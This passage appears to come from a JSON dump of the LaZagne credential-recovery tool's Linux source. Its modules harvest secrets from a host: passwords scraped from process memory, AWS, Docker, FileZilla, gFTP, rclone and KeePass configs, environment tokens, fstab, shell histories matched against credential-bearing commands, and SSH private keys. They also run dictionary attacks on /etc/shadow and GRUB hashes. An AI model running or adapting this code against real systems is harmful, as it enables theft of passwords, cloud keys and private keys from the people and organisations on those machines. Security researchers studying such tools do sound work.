procdic[\"name\"]\n            pid = int(procdic[\"pid\"])\n            for rule in self.rules:\n                if re.search(rule[\"process\"], name):\n                    try:\n                        for t, u, p in rule[\"func\"](name, pid, rule, optimizations=optimizations):\n                            yield (t, name, u, p)\n                    except Exception:\n                        self.debug(traceback.format_exc())\n\n    def run(self):\n        if os.getuid() != 0:\n            self.info('You need sudo privileges')\n            return\n\n        pwd_found = []\n        for t, process, user, password in self.mimipy_loot_passwords(optimizations=\"nsrx\"):\n            pwd_found.append({\n                'Process': str(process),\n                'Login': str(user),\n                'Password': str(password),\n            })\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/apachedirectorystudio.py",
    "content": "# -*- coding: utf-8 -*- \nfrom xml.etree.ElementTree import parse\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import *\nfrom lazagne.config import homes\n\nimport os\n\n\nclass ApacheDirectoryStudio(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin')\n        # Interesting XML attributes in ADS connection configuration\n        self.attr_to_extract = [\"host\", \"port\", \"bindPrincipal\", \"bindPassword\", \"authMethod\"]\n\n    def extract_connections_credentials(self):\n        \"\"\"\n        Extract all connection's credentials.\n\n        :return: List of dict in which one dict contains all information for a connection.\n        \"\"\"\n        repos_creds = []\n\n        for connection_file_directory in homes.get(directory=u'.ApacheDirectoryStudio'):\n            connection_file_location = os.path.join(connection_file_directory, u'.metadata/.plugins/org.apache.directory.studio.connection.core/connections.xml')\n\n            if os.path.isfile(connection_file_location):\n                try:\n                    connections = parse(connection_file_location).getroot()\n                    connection_nodes = connections.findall(\".//connection\")\n                    for connection_node in connection_nodes:\n                        creds = {}\n                        for connection_attr_name in connection_node.attrib:\n                            if connection_attr_name in self.attr_to_extract:\n                                creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip()\n                        if creds:\n                            repos_creds.append(creds)\n                except Exception as e:\n                    self.error(u\"Cannot retrieve connections credentials '%s'\" % e)\n\n        return repos_creds\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n        # Extract all available connections credentials\n        repos_creds = self.extract_connections_credentials()\n\n        # Parse and process the list of connections credentials\n        pwd_found = []\n        for creds in repos_creds:\n            pwd_found.append({\n                \"Host\"                  : creds[\"host\"],\n                \"Port\"                  : creds[\"port\"],\n                \"Login\"                 : creds[\"bindPrincipal\"],\n                \"Password\"              : creds[\"bindPassword\"],\n                \"AuthenticationMethod\"  : creds[\"authMethod\"]\n            })\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/aws.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\ntry:\n    from ConfigParser import ConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import ConfigParser  # Python 3\n\n\nclass Aws(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'aws', 'sysadmin')\n\n    def get_paths(self):\n        return homes.get(file=os.path.join('.aws', 'credentials'))\n\n    def get_creds(self, path):\n        try:\n            parser = ConfigParser()\n            parser.read(path)\n        except Exception:\n            return\n\n        for section in parser.sections():\n            try:\n                key = parser.get(section, 'aws_access_key_id')\n                secret = parser.get(section, 'aws_secret_access_key')\n                yield section, key, secret\n            except Exception:\n                continue\n\n    def run(self):\n        all_passwords = []\n        for path in self.get_paths():\n            for section, key, secret in self.get_creds(path):\n                all_passwords.append({\n                    'ID': key,\n                    'KEY': secret,\n                    'Service': 'AWS',\n                    'Name': section\n                })\n\n        return all_passwords\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/cli.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\nimport psutil\nimport pwd\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\ntry:\n    from ConfigParser import ConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import ConfigParser  # Python 3\n\n\nclass Cli(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'cli', 'sysadmin')\n\n    def get_files(self):\n        known = set()\n        for user, histfile in homes.users(file=['.history', '.sh_history', '.bash_history', '.zhistory']):\n            yield user, histfile\n            known.add(histfile)\n\n        try:\n            for process in psutil.process_iter():\n                try:\n                    environ = process.environ()\n                    user = process.username()\n                except Exception:\n                    continue\n\n                if 'HISTFILE' not in environ:\n                    continue\n\n                histfile = environ['HISTFILE']\n\n                if histfile in ('/dev/zero', '/dev/null'):\n                    continue\n\n                if histfile.startswith('~/'):\n                    try:\n                        home = pwd.getpwuid(process.uids().effective).pw_dir\n                    except Exception:\n                        continue\n\n                    histfile = os.path.join(home, histfile[2:])\n\n                if os.path.isfile(histfile) and not histfile in known:\n                    yield user, histfile\n                    known.add(histfile)\n\n        except AttributeError:\n            # Fix AttributeError: 'module' object has no attribute 'process_iter'\n            pass\n\n    def get_lines(self):\n        known = set()\n        for user, plainfile in self.get_files():\n            try:\n                with open(plainfile) as infile:\n                    for line in infile.readlines():\n                        line = line.strip()\n                        if line.startswith('#'):\n                            continue\n                        try:\n                            int(line)\n                            continue\n                        except Exception:\n                            pass\n\n                        line = ' '.join(x for x in line.split() if x)\n                        if line not in known:\n                            yield user, line\n                            known.add(line)\n            except Exception:\n                pass\n\n        for user, histfile in homes.users(file='.local/share/mc/history'):\n            parser = ConfigParser()\n            try:\n                parser.read(histfile)\n            except Exception:\n                continue\n\n            try:\n                for i in parser.options('cmdline'):\n                    line = parser.get('cmdline', i)\n                    if line not in known:\n                        yield user, line\n                        known.add(line)\n            except Exception:\n                pass\n\n    def suspicious(self, user, line):\n        markers = [\n            ('sshpass', '-p'),\n            ('chpasswd',),\n            ('openssl', 'passwd'),\n            ('sudo', '-S'),\n            ('mysql', '-p'),\n            ('psql', 'postgresql://'),\n            ('pgcli', 'postgresql://'),\n            ('ssh', '-i'),\n            ('sqlplus', '/'),\n            ('xfreerdp', '/p'),\n            ('vncviewer', 'passwd'),\n            ('vncviewer', 'PasswordFile'),\n            ('mount.cifs', 'credentials'),\n            ('pass=',),\n            ('smbclient',),\n            ('ftp', '@'),\n            ('wget', '@'),\n            ('curl', '@'),\n            ('curl', '-u'),\n            ('wget', '-password'),\n            ('rdesktop', '-p'),\n        ]\n\n        for marker in markers:\n            if all((x in line) for x in marker):\n                yield {\n                    'User': user,\n                    'Cmd': line\n                }\n\n    def run(self):\n        all_cmds = []\n        for user, line in self.get_lines():\n            for cmd in self.suspicious(user, line):\n                all_cmds.append(cmd)\n        return all_cmds\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/docker.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\n\nclass Docker(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'docker', 'sysadmin')\n\n    def get_paths(self):\n        return homes.get(file=os.path.join('.docker', 'config.json'))\n\n    def get_creds(self, path):\n        try:\n            with open(path) as config:\n                config = json.load(config)\n                if 'auths' not in config:\n                    return\n\n                for hub, auth in config['auths'].iteritems():\n                    user, password = auth['auth'].decode('base64').split(':', 1)\n                    yield hub, user, password\n        except Exception:\n            return\n\n    def run(self):\n        all_passwords = []\n        for path in self.get_paths():\n            for hub, user, password in self.get_creds(path):\n                all_passwords.append(\n                    {\n                        'User': user,\n                        'Password': password,\n                        'Hub': hub,\n                    }\n                )\n\n        return all_passwords\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/env_variable.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport psutil\n\nfrom lazagne.config.module_info import ModuleInfo\n\ntry:\n    from urllib.parse import urlparse\nexcept ImportError:\n    from urlparse import urlparse\n\n\nclass Env_variable(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'Environment variables', 'sysadmin')\n\n    def run(self):\n        pwd_found = []\n        known_proxies = set()\n        known_tokens = set()\n\n        blacklist = (\n            'PWD', 'OLDPWD', 'SYSTEMD_NSS_BYPASS_BUS', 'SYSTEMD_NSS_DYNAMIC_BYPASS'\n        )\n\n        proxies = (\n            'http_proxy', 'https_proxy',\n            'HTTP_Proxy', 'HTTPS_Proxy',\n            'HTTP_PROXY', 'HTTPS_PROXY'\n        )\n\n        tokens = (\n            ('DigitalOcean', {\n                'ID': None,\n                'KEY': 'DIGITALOCEAN_ACCESS_TOKEN',\n            }),\n            ('DigitalOcean', {\n                'ID': None,\n                'KEY': 'DIGITALOCEAN_API_KEY'\n            }),\n            ('AWS', {\n                'ID': 'AWS_ACCESS_KEY_ID',\n                'KEY': 'AWS_SECRET_ACCESS_KEY',\n            }),\n            ('AWS', {\n                'ID': 'EC2_ACCESS_KEY',\n                'KEY': 'EC2_SECRET_KEY'\n            }),\n            ('GitHub', {\n                'ID': 'GITHUB_CLIENT',\n                'KEY': 'GITHUB_SECRET'\n            }),\n            ('GitHub', {\n                'ID': None,\n                'KEY': 'GITHUB_TOKEN',\n            }),\n            ('OpenStack', {\n                'ID': 'OS_USERNAME',\n                'KEY': 'OS_PASSWORD'\n            })\n        )\n\n        try:\n            for process in psutil.process_iter():\n                try:\n                    environ = process.environ()\n                except Exception:\n                    continue\n\n                for var in proxies:\n                    if var not in environ or environ[var] in known_proxies:\n                        continue\n\n                    proxy = environ[var]\n                    known_proxies.add(proxy)\n\n                    try:\n                        parsed = urlparse.urlparse(proxy)\n                    except Exception:\n                        continue\n\n                    if parsed.username and parsed.password:\n                        pw = {\n                            'Login': parsed.username,\n                            'Password': parsed.password,\n                            'Host': parsed.hostname,\n                        }\n                        if parsed.port:\n                            pw.update({\n                                'Port': parsed.port\n                            })\n\n                        pwd_found.append(pw)\n\n                for token, kvars in tokens:\n                    if not kvars['KEY'] in environ:\n                        continue\n\n                    secret = environ[kvars['KEY']]\n\n                    if secret in known_tokens:\n                        continue\n\n                    pw = {\n                        'Service': token,\n                        'KEY': secret\n                    }\n\n                    if kvars['ID'] and kvars['ID'] in environ:\n                        pw.update({'ID': environ[kvars['ID']]})\n\n                    pwd_found.append(pw)\n                    known_tokens.add(secret)\n\n                for i in environ:\n                    for t in ['passwd', 'pwd', 'pass', 'password']:\n                        if (t.upper() in i.upper()) and (i.upper() not in blacklist):\n                            pwd_found.append({\n                                'Login': i,\n                                'Password': environ[i]\n                            })\n\n            return pwd_found\n\n        except AttributeError:\n            # Fix AttributeError: 'module' object has no attribute 'process_iter'\n            pass\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/filezilla.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport base64\n\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\n\nclass Filezilla(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'filezilla', 'sysadmin')\n\n    def run(self):\n\n        pwd_found = []\n        for xml_file in homes.get(file=[\n            os.path.join(d, f)\n            for d in ('.filezilla', '.config/filezilla')\n            for f in ('sitemanager.xml', 'recentservers.xml', 'filezilla.xml')\n        ]):\n\n            if os.path.exists(xml_file):\n                tree = ElementTree(file=xml_file)\n                servers = tree.findall('Servers/Server') if tree.findall('Servers/Server') else tree.findall(\n                    'RecentServers/Server')\n\n                for server in servers:\n                    host = server.find('Host')\n                    port = server.find('Port')\n                    login = server.find('User')\n                    password = server.find('Pass')\n\n                    if host is not None and port is not None and login is not None:\n                        values = {\n                            'Host': host.text,\n                            'Port': port.text,\n                            'Login': login.text,\n                        }\n\n                    if password is not None:\n                        if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64':\n                            values['Password'] = base64.b64decode(password.text)\n                        else:\n                            values['Password'] = password.text\n\n                    pwd_found.append(values)\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/fstab.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass Fstab(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'fstab', 'sysadmin')\n\n    def run(self):\n        pwd_found = []\n        path = '/etc/fstab'\n        if os.path.exists(path):\n            try:\n                with open(path) as fstab:\n                    for line in fstab:\n                        line = line.strip()\n                        if not line or line.startswith('#'):\n                            continue\n\n                        filesystem, mount_point, _type, options, dump, _pass = line.split()\n                        if 'pass' in options or 'cred' in options:\n                            pwd_found.append({\n                                'Filesystem': filesystem,\n                                'Mount Point': mount_point,\n                                'Type': _type,\n                                'Password': options\n                             })\n\n            except IOError as e:\n                self.debug(e.strerror)\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/gftp.py",
    "content": "# -*- coding: utf-8 -*- \nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import *\nfrom lazagne.config import homes\n\nimport os\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\nclass gFTP(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'gftp', 'sysadmin')\n        self.attr_to_extract = [\"host\", \"port\", \"username\", \"password\", \"protocol\", \"account\", \"entry\"]\n\n    def decode_password(self, encoded_pass):\n        \"\"\"\n        Password is offuscated: first char is a $. Then each char from the password is converted in hex and encoded regarding its value\n        \"\"\"\n        decoded_pass = \"\"\n        #removing the first char ($)\n        encoded_pass = encoded_pass[1:]\n        password_offuscation_table = ['A', 'E', 'I', 'M', 'Q', 'U', 'Y', ']', 'a', 'e', 'i', 'm', 'q', 'u', 'y', '}']\n        chars = [encoded_pass[i:i + 2] for i in range(0, len(encoded_pass), 2)]\n\n        for char in chars:\n            decoded_pass += chr(password_offuscation_table.index(char[0]) * 16 + password_offuscation_table.index(char[1]))\n        return decoded_pass\n\n    def get_parameter(self, name, file_content):\n        \"\"\"\n        Get the parameter name in a file (file_content)\n        \"\"\"\n        return file_content.partition(name)[2].partition('\\n')[0][1:]\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n\n        # Extract all available connections credentials\n        pwd_found = []\n        for connection_file_directory in homes.get(directory=u'.gftp'):\n            connection_file_location = os.path.join(connection_file_directory, u'bookmarks')\n\n            if os.path.isfile(connection_file_location):\n                cp = RawConfigParser()\n                cp.read(connection_file_location)\n                for elmt in cp.sections():\n                    username = cp.get(elmt, \"username\")\n                if username != \"anonymous\":\n                    host = cp.get(elmt, \"hostname\")\n                    port = cp.get(elmt, \"port\")\n                    protocol = cp.get(elmt, \"protocol\")\n                    password = self.decode_password(cp.get(elmt, \"password\"))\n                    account =cp.get(elmt, \"account\")\n                    pwd_found.append({\n                        'Entry': \"Server\",\n                        'Host': host,\n                        'Username': username,\n                        'Password': password,\n                        'Port': port,\n                        'Protocol': protocol,\n                        'Account': account,\n\n                    })\n            # Extract Proxy data from another file\n            connection_file_location = os.path.join(connection_file_directory, u'gftprc')\n            if os.path.isfile(connection_file_location):\n                preferences = open(connection_file_location, 'r').read()\n                # FTP Proxy\n                ftp_proxy_host = self.get_parameter(\"ftp_proxy_host\", preferences)\n                if ftp_proxy_host != \"\":\n                    ftp_proxy_port = self.get_parameter(\"ftp_proxy_port\", preferences)\n                    ftp_proxy_username = self.get_parameter(\"ftp_proxy_username\", preferences)\n                    ftp_proxy_password = self.get_parameter(\"ftp_proxy_password\", preferences)\n                    ftp_proxy_account = self.get_parameter(\"ftp_proxy_account\", preferences)\n                    if ftp_proxy_username != \"\" and ftp_proxy_password != \"\":\n                        pwd_found.append({\n                            'Entry': 'FTP Proxy',\n                            'Protocol': 'FTP',\n                            'Host': ftp_proxy_host,\n                            'Port': ftp_proxy_port,\n                            'Username': ftp_proxy_username,\n                            'Password': ftp_proxy_password,\n                            'Account': ftp_proxy_account\n                        })\n                \n                # HTTP Proxy\n                http_proxy_host = self.get_parameter(\"http_proxy_host\", preferences)\n                if http_proxy_host != \"\":\n                    http_proxy_port = self.get_parameter(\"http_proxy_port\", preferences)\n                    http_proxy_username = self.get_parameter(\"http_proxy_username\", preferences)\n                    http_proxy_password = self.get_parameter(\"http_proxy_password\", preferences)\n                    http_proxy_account = self.get_parameter(\"http_proxy_account\", preferences)\n                    if http_proxy_username != \"\" and http_proxy_password != \"\":\n                        pwd_found.append({\n                            'Entry': \"HTTP Proxy\",\n                            'Protocol': \"HTTP\",\n                            'Host': http_proxy_host,\n                            'Port': http_proxy_port,\n                            'Username': http_proxy_username,\n                            'Password': http_proxy_password,\n                            'Account': http_proxy_account\n                        })\n            \n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/grub.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport crypt\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.dico import get_dic\n\n\nclass Grub(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'grub', 'sysadmin')\n\n    def dictionary_attack(self, crypt_pwd):\n        dic = get_dic()  # By default 500 most famous passwords are used for the dictionary attack\n\n        if '$' not in crypt_pwd:\n            # Either malformed or old bcrypt password\n            return False\n\n        hash_type = crypt_pwd.split(\"$\")[1]\n        hash_algo = {\n            '1': 'MD5',\n        }\n\n        # For Debug information\n        for h_type in hash_algo:\n            if h_type == hash_type:\n                self.debug('[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type]))\n\n        real_salt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=crypt_pwd.split(\"$\")[2])\n\n        # -------------------------- Dictionary attack --------------------------\n        self.info('Dictionary Attack on the hash !!! ')\n        try:\n            for word in dic:\n                try:\n                    crypt_word = crypt.crypt(word, real_salt)\n                    if crypt_word == crypt_pwd:\n                        return word\n                except Exception as e:\n                    pass\n\n        except (KeyboardInterrupt, SystemExit):\n            self.debug(u'Dictionary attack interrupted')\n\n        return False\n\n    def run(self):\n        pwd_found = []\n        grub_conf_files = [u'/boot/grub/menu.lst', u'/boot/grub/grub.conf', u'/boot/grub/grub.cfg']\n        for grub_file in grub_conf_files:\n            if os.path.exists(grub_file):\n                conf = open(grub_file).read()\n                user, password = '', ''\n                if conf.partition('password --md5 ')[1] == 'password --md5 ':\n                    hash = conf.partition('password --md5 ')[2].partition('\\n')[0]\n                    result = self.dictionary_attack(hash)\n                    if result:\n                        pwd_found.append({\n                            'Password': result\n                        })\n                    else:\n                        # No clear text password found - save hash\n                        pwd_found.append({\n                            'Hash': hash\n                        })\n                elif conf.partition('password ')[1] == 'password ':\n                    password = conf.partition('password ')[2].partition(' ')[2].partition('\\n')[0]\n                    pwd_found.append({\n                        'Login': user,\n                        'Password': password\n                    })\n                elif conf.partition('password_pbkdf2 ')[1] == 'password_pbkdf2 ':\n                    user = conf.partition('password_pbkdf2 ')[2].partition(' ')[0]\n                    hash = conf.partition('password_pbkdf2 ')[2].partition(' ')[2].partition('\\n')[0]\n                    pwd_found.append({\n                        'Login': user,\n                        'Hash': hash\n                    })\n\n        return pwd_found"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/keepassconfig.py",
    "content": "# -*- coding: utf-8 -*- \nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import *\nfrom lazagne.config import homes\n\nimport os\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\nfrom xml.etree.ElementTree import parse\n\nclass KeePassConfig(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'keepassconfig', 'sysadmin')\n        self.attr_to_extract = [\"Keyfile\", \"Database\"]\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n\n        pwd_found = []\n\n        #KeepassX\n        for connection_file_directory in homes.get(directory=u'.config/keepassx'):\n            #Used to replace ./ by the home path\n            home = connection_file_directory.partition('./config')[0]\n            connection_file_location = os.path.join(connection_file_directory, u'config.ini')\n\n            if os.path.isfile(connection_file_location):\n                cp = RawConfigParser()\n                cp.read(connection_file_location)\n                try:\n                    database = cp.get(\"Options\", \"LastFile\").replace('./',  home)\n                    keyfile = cp.get(\"Options\", \"LastKeyLocation\").replace('./',  home)\n                    keytype = cp.get(\"Options\", \"LastKeyType\")\n                    if keytype == \"Password\":\n                        keyfile = \"No keyfile needed\"\n                    elif keyfile == \"\":\n                        keyfile = \"No keyfile found\"\n                    pwd_found.append({\n                        'Keyfile': keyfile,\n                        'Database': database\n                    })\n                except:\n                    pass\n\n        #Keepass2\n\n        for connection_file_directory in homes.get(directory=u'.config/KeePass'):\n            home = connection_file_directory.partition('./config')[0]\n            connection_file_location = os.path.join(connection_file_directory, u'KeePass.config.xml')\n\n            if os.path.isfile(connection_file_location):\n                try:\n                    connections = parse(connection_file_location).getroot()\n                    connection_nodes = connections.findall(\".//Association\")\n                    for connection_node in connection_nodes:\n                        database = connection_node.find('DatabasePath').text.replace(\"../../../\", home)\n                        keyfile = connection_node.find('KeyFilePath').text.replace(\"../../../\", home)\n                        pwd_found.append({\n                            'Keyfile': keyfile,\n                            'Database': database\n                        })\n                except:\n                    pass\n\n                try:\n                    connections = parse(connection_file_location).getroot()\n                    connection_nodes = connections.findall(\".//LastUsedFile\")\n                    for connection_node in connection_nodes:\n                        database = connection_node.find('Path').text.replace(\"../../../\", home)\n                        already_in_pwd_found = 0\n                        for elmt in pwd_found:\n                            if database == elmt['Database']:\n                                already_in_pwd_found = 1\n                        if already_in_pwd_found == 0:\n                            pwd_found.append({\n                                'Keyfile': \"No keyfile found\",\n                                'Database': database\n                            })\n                except:\n                    pass\n\n                try:\n                    connections = parse(connection_file_location).getroot()\n                    connection_nodes = connections.findall(\".//ConnectionInfo\")\n                    for connection_node in connection_nodes:\n                        database = connection_node.find('Path').text.replace(\"../../../\", home)\n                        already_in_pwd_found = 0\n                        for elmt in pwd_found:\n                            if database == elmt['Database']:\n                                already_in_pwd_found = 1\n                        if already_in_pwd_found == 0:\n                            pwd_found.append({\n                                'Keyfile': \"No keyfile found\",\n                                'Database': database\n                            })\n                except:\n                    pass\n\n        return pwd_found"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/rclone.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# This code has been taken from https://github.com/maaaaz/rclonedeobscure\n# All credits to maaaaz\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\nimport base64\nimport json\nimport os\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\nfrom Crypto.Cipher import AES\n\n\nclass Rclone(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'rclone', 'sysadmin')\n        # -- https://github.com/rclone/rclone/blob/master/fs/config/obscure/obscure.go\n        self.secret_key = b\"\\x9c\\x93\\x5b\\x48\\x73\\x0a\\x55\\x4d\\x6b\\xfd\\x7c\\x63\\xc8\\x86\\xa9\\x2b\\xd3\\x90\\x19\\x8e\\xb8\\x12\\x8a\\xfb\\xf4\\xde\\x16\\x2b\\x8b\\x95\\xf6\\x38\"\n\n    def get_paths(self):\n        return homes.get(file=os.path.join('.config', 'rclone', 'rclone.conf'))\n\n    def base64_urlsafedecode(self, string):\n        '''\n        Adds back in the required padding before decoding.\n        https://gist.github.com/cameronmaske/f520903ade824e4c30ab\n        '''\n        padding = 4 - (len(string) % 4)\n        string = string + (\"=\" * padding)\n        return base64.urlsafe_b64decode(string)\n\n    def aes_ctr_decrypt(self, encrypted_password, iv):\n        '''\n        Do not forget to set an empty nonce\n        https://stackoverflow.com/questions/56217725/openssh-opensshportable-which-key-should-i-extract-from-memory\n        '''\n        crypter = AES.new(key=self.secret_key, mode=AES.MODE_CTR, initial_value=iv, nonce=b'')\n        decrypted_password = crypter.decrypt(encrypted_password)\n        \n        return decrypted_password.decode('utf-8')\n\n    def deobscure(self, obscured):\n        encrypted_password = self.base64_urlsafedecode(obscured)\n        buf = encrypted_password[AES.block_size:]\n        iv = encrypted_password[:AES.block_size]\n        return self.aes_ctr_decrypt(buf, iv)\n\n    def run(self):\n        pwd_found = []\n        for path in self.get_paths():\n            cp = RawConfigParser()\n            cp.read(path)\n            for section in cp.sections():\n                values = {\n                    \"Name\": section\n                }\n                for element in cp.options(section): \n                    if 'pass' in element.lower(): \n                        passwd = self.deobscure(cp.get(section, element))\n                        values[element.replace('pass', 'Password')] = passwd\n                    else: \n                        values[element.capitalize()] = cp.get(section, element)\n\n                pwd_found.append(values)\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/shadow.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport crypt\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.dico import get_dic\n\n\nclass Shadow(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'shadow', 'sysadmin')\n\n    def dictionary_attack(self, user, crypt_pwd):\n        dic = get_dic()  # By default 500 most famous passwords are used for the dictionary attack\n        dic.insert(0, user)  # Add the user on the list to found weak password (login equal password)\n\n        # Different possible hash type\n        # ID  | Method\n        # --------------------------------------------------------------------------\n        # 1   | MD5\n        # 2   | Blowfish (not in mainline glibc; added in some Linux distributions)\n        # 5   | SHA-256 (since glibc 2.7)\n        # 6   | SHA-512 (since glibc 2.7)\n\n        if '$' not in crypt_pwd:\n            # Either malformed or old bcrypt password\n            return False\n\n        hash_type = crypt_pwd.split(\"$\")[1]\n        hash_algo = {\n            '1': 'MD5',\n            '2': 'Blowfish',\n            '5': 'SHA-256',\n            '6': 'SHA-512',\n        }\n\n        # For Debug information\n        for h_type in hash_algo:\n            if h_type == hash_type:\n                self.debug('[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type]))\n\n        real_salt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=crypt_pwd.split(\"$\")[2])\n\n        # -------------------------- Dictionary attack --------------------------\n        self.info('Dictionary Attack on the hash !!! ')\n        try:\n            for word in dic:\n                try:\n                    crypt_word = crypt.crypt(word, real_salt)\n                    if crypt_word == crypt_pwd:\n                        return {\n                            'Login': user,\n                            'Password': word\n                        }\n                except Exception as e:\n                    pass\n\n        except (KeyboardInterrupt, SystemExit):\n            self.debug(u'Dictionary attack interrupted')\n\n        return False\n\n    def run(self):\n        shadow_file = '/etc/shadow'\n        if os.access(shadow_file, os.R_OK):\n            pwd_found = []\n            with open(shadow_file, 'r') as shadow_file:\n                for line in shadow_file.readlines():\n                    user_hash = line.replace('\\n', '')\n                    line = user_hash.split(':')\n\n                    # Check if a password is defined\n                    if not line[1] in ['x', '*', '!', '!!']:\n                        user = line[0]\n                        crypt_pwd = line[1]\n\n                        # Try dictionary attack\n                        result = self.dictionary_attack(user, crypt_pwd)\n                        if result:\n                            pwd_found.append(result)\n\n                        else:\n                            # No clear text password found - save hash\n                            pwd_found.append({\n                                'Login': user_hash.split(':')[0].replace('\\n', ''),\n                                'Hash': ':'.join(user_hash.split(':')[1:]),\n                            })\n\n                return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/sysadmin/ssh.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\n\nclass Ssh(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'ssh', 'sysadmin')\n\n    def get_ids(self):\n        known = set()\n        for user, identity in homes.users(file=[\n            os.path.join('.ssh', item) for item in (\n                    'id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519'\n            )\n        ]):\n            if os.path.isfile(identity):\n                try:\n                    with open(identity) as fidentity:\n                        yield {\n                            'KEY': fidentity.read(),\n                            'User': user,\n                        }\n                        known.add(identity)\n                except Exception:\n                    pass\n\n        for user, config in self.get_configs():\n            for pw in self.get_ids_from_config(user, config):\n                if pw['KEY'] in known:\n                    continue\n\n                try:\n                    with open(pw['KEY']) as fidentity:\n                        pw['KEY'] = fidentity.read()\n                        yield pw\n                        known.add(identity)\n                except Exception:\n                    pass\n\n    def get_configs(self):\n        return homes.users(file=os.path.join('.ssh', 'config'))\n\n    def create_pw_object(self, identity, host, port, user):\n        pw = {'KEY': identity}\n        if host:\n            pw['Host'] = host\n        if port:\n            pw['Port'] = port\n        if user:\n            pw['Login'] = user\n        return pw\n\n    def get_ids_from_config(self, default_user, config):\n        try:\n            hostname = None\n            port = 22\n            user = default_user\n            identity = None\n\n            with open(config) as fconfig:\n                for line in fconfig.readlines():\n                    line = line.strip()\n\n                    if line.startswith('#'):\n                        continue\n\n                    line = line.split()\n                    if len(line) < 2:\n                        continue\n\n                    cmd, args = line[0].lower(), line[1:]\n                    args = ' '.join([x for x in args if x])\n\n                    if cmd == 'host':\n                        if identity:\n                            yield self.create_pw_object(\n                                identity, hostname, port, user\n                            )\n\n                        hostname = None\n                        port = 22\n                        user = default_user\n                        identity = None\n\n                    elif cmd == 'hostname':\n                        hostname = args\n\n                    elif cmd == 'user':\n                        user = args\n\n                    elif cmd == 'identityfile':\n                        if args.startswith('~/'):\n                            args = config[:config.find('.ssh')] + args[2:]\n                        identity = args\n\n            if identity:\n                yield self.create_pw_object(\n                    identity, hostname, port, user\n                )\n\n        except Exception as e:\n            pass\n\n    def run(self):\n        return list(self.get_ids())\n"
  },
  {
